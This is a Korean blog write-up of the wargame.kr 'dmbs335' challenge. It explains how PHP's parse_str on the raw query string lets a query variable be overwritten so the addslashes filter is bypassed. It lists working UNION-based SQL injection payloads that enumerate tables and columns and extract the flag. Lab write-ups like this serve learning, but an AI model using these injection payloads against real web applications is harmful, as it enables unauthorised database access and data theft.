상세 컨텐츠

본문 제목

[wargame.kr] LEVEL24_dmbs335

카테고리 없음

by about_SC 2019. 7. 23. 10:46

본문

SQLi 문제이다.

 

간단하게 게시판을 확인할 수 있다.
게시글을 검색하는 기능을 확인할 수 있었다.
아래의 링크를 따라 소스코드를 확인해보자.

 

블라블라~

 

$_SERVER['QUERY_STRING'] 은 PHP에서 클라이언트 측에서 보낸 쿼리스트링 값을 얻어온다.
  ex) title=Main_page&action=raw

parse_str()는 PHP에서 쿼리스트링을 변수로 자동으로 저장해주는 함수이다.
(https://zetawiki.com/wiki/PHP_%EC%BF%BC%EB%A6%AC%EC%8A%A4%ED%8A%B8%EB%A7%81%EC%9D%84_%EB%B3%80%EC%88%98%EB%A1%9C_%EB%B3%80%ED%99%98_parse_str())

이를 잘 활용하면, 내가 원하는 변수에 임의의 쿼리를 넣어 필터링을 우회하여 SQL injection을 시도할 수 있을 것이다.

 

cols 배열의 값들 중 subject, content, writer 같은 값이 들어있지 않으면, 값이 초기화된다.
cols 배열의 값들 중 해당 값이 들어가있으면, keyword로 전달된 변수 값이 쿼리에 들어가게된다.

keyword로 전달된 변수는 addslash 함수로 필터링되어있기 때문에 이 로직을 타지 않도록 해야하며,
parse_str($_SERVER['QUERY_STRING']) 함수를 악용하여 임의의 쿼리를 강제로 삽입해야 하는게 포인트가 될 것이다.



....


Payload는 다음과 같다.

?search_cols=subjectabcd&query_parts=1=0+union+select+2,3,4,5&operator=or

 

-테이블을 뽑아보자
?search_cols=subjectabcd&query_parts=1=0+union+select+table_name,2,3,4+from+information_schema.tables+where+table_type=0x62617365207461626c65&operator=or

 

-컬럼을 뽑아보자.
?search_cols=subjectabcd&query_parts=1=0+union+select+column_name,2,3,4+from+information_schema.columns+where+table_name=0x546831735f31735f466c61675f74626c&operator=or

 

-FLAG 값을 뽑아보자.
?search_cols=subjectabcd&query_parts=1=0+union+select+f1ag,2,3,4+from+Th1s_1s_Flag_tbl&operator=or

 

 

**POINT : 정규표현식에 대한 이해가 있는지? 
parse_str($_SERVER['QUERY_STRING'])에 대한 이해가 있는지?